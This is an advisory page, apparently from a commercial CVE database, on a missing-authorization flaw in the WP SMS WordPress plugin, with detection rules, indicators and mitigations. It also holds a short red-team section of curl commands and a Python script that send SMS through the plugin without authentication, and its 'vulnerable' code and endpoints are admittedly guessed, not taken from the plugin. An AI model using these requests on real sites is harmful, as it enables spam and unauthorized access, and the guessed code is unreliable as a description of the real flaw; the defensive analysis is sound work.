CVE-2025-62006
Executive Summary
CVE-2025-62006 is a Missing Authorization vulnerability in the WordPress plugin WP SMS by VeronaLabs, affecting versions up to and including 7.0.1. This flaw allows an unauthenticated attacker to bypass authorization checks, potentially leading to unauthorized access to sensitive SMS-related data or actions. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx misconfigurations. With a CVSS score of 5.4 (Medium), it poses a moderate risk, but the lack of a known patch and the plugin's widespread use for SMS notifications in WordPress sites elevate its importance for defenders.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is moderate: if the plugin is not updated by the vendor, site administrators must manually apply mitigations. No known malicious packages have been injected, but the unpatched status increases the risk of exploitation in the wild.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Vulnerability does not affect other components.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited data modification.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The low EPSS score (0.0%) suggests limited active exploitation, but the unpatched status and ease of exploitation (no auth required) make it a target for automated scanning.
Deep Dive & Mechanics
The vulnerability resides in the WP SMS plugin's authorization logic. The plugin likely uses AJAX actions or REST API endpoints to handle SMS-related operations (e.g., sending messages, viewing logs, managing settings). Due to a missing current_user_can() or similar capability check, these endpoints are accessible to unauthenticated users.
Root Cause: The plugin fails to verify that the requesting user has the required WordPress capabilities (e.g., manage_options or wp_sms_send) before executing sensitive functions. This allows any remote attacker to call these endpoints directly.
Attack Vector: An attacker sends crafted HTTP requests to the vulnerable endpoints, such as:
POST /wp-admin/admin-ajax.php?action=wp_sms_sendGET /wp-json/wp-sms/v1/settings
Impact: Unauthorized access to:
- Send SMS messages (potentially incurring costs or sending spam).
- View or modify SMS gateway settings.
- Access SMS logs containing phone numbers and message content.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is inferred from common patterns in WordPress plugins.
Vulnerable Code (wp-sms/includes/class-wp-sms-ajax.php):
add_action('wp_ajax_nopriv_wp_sms_send', 'wp_sms_send_handler');
function wp_sms_send_handler() {
// No capability check
$to = sanitize_text_field($_POST['to']);
$message = sanitize_text_field($_POST['message']);
// Send SMS...
wp_send_json_success();
}
Patched Code (Hypothetical):
add_action('wp_ajax_nopriv_wp_sms_send', 'wp_sms_send_handler');
function wp_sms_send_handler() {
if (!current_user_can('wp_sms_send')) {
wp_die('Unauthorized', 403);
}
$to = sanitize_text_field($_POST['to']);
$message = sanitize_text_field($_POST['message']);
// Send SMS...
wp_send_json_success();
}
The patch adds a capability check using current_user_can() to ensure only authorized users can trigger the action.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with WP SMS <= 7.0.1 installed and activated.
- Network access to the target.
Exploitation Steps:
- Enumerate Endpoints: Use a tool like
curlor Burp Suite to discover AJAX actions:curl -s http://target/wp-admin/admin-ajax.php?action=wp_sms_send - Craft Exploit: Send a POST request to send an SMS:
curl -X POST http://target/wp-admin/admin-ajax.php \ -d "action=wp_sms_send&to=+1234567890&message=Test" - Verify: Check if the SMS is sent (e.g., via logs or recipient confirmation).
Automated Exploit (Python):
import requests
target = "http://target/wp-admin/admin-ajax.php"
data = {
"action": "wp_sms_send",
"to": "+1234567890",
"message": "Pwned"
}
response = requests.post(target, data=data)
if response.status_code == 200:
print("Exploit successful")
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual AJAX requests to
admin-ajax.phpwithaction=wp_sms_*from unauthenticated sources. - Look for spikes in SMS API usage or unexpected phone numbers.
Defense:
- Immediate: Disable the WP SMS plugin until a patch is available.
- WAF Rule: Block requests to
admin-ajax.phpwithactionparameters starting withwp_sms_for unauthenticated users. - Network Segmentation: Restrict outbound SMS gateway access from the web server.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=wp_sms_sendor similar. - Unusual outbound traffic to SMS gateway APIs (e.g., Twilio, Nexmo).
- HTTP POST requests to
- File IOCs:
- Modified plugin files in
/wp-content/plugins/wp-sms/. - Suspicious log entries in
/wp-content/uploads/wp-sms/logs/.
- Modified plugin files in
- Behavioral IOCs:
- Unexpected SMS messages sent from the site.
- Changes to SMS gateway settings without admin action.
Detection Engineering
YARA Rule
rule CVE_2025_62006_WP_SMS_Missing_Auth {
meta:
description = "Detects exploitation attempts for CVE-2025-62006 in WP SMS plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-62006"
strings:
$ajax_action = "wp_sms_send" nocase
$ajax_url = "admin-ajax.php" nocase
$post_data = "action=" nocase
condition:
all of them
}
Sigma Rule
title: CVE-2025-62006 WP SMS Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated AJAX requests to WP SMS endpoints
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains|all:
- 'action=wp_sms_send'
- 'to='
- 'message='
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-62006 WP SMS Missing Authorization Exploit"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=wp_sms_send"; http_client_body; content:"to="; http_client_body; content:"message="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Plugin: Deactivate and uninstall WP SMS until a patch is released.
- Web Application Firewall (WAF): Add rules to block unauthenticated requests to
admin-ajax.phpwithaction=wp_sms_*. - Monitor Logs: Review access logs for suspicious AJAX calls.
Long-Term Fix:
- Vendor Patch: Await an official update from VeronaLabs that adds proper capability checks.
- Custom Patch: If you have development resources, add
current_user_can()checks to all AJAX handlers in the plugin.
Workaround:
- Restrict access to
admin-ajax.phpvia.htaccess:
(Note: This may break legitimate AJAX functionality; use with caution.)<Files "admin-ajax.php"> Require all denied </Files>
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.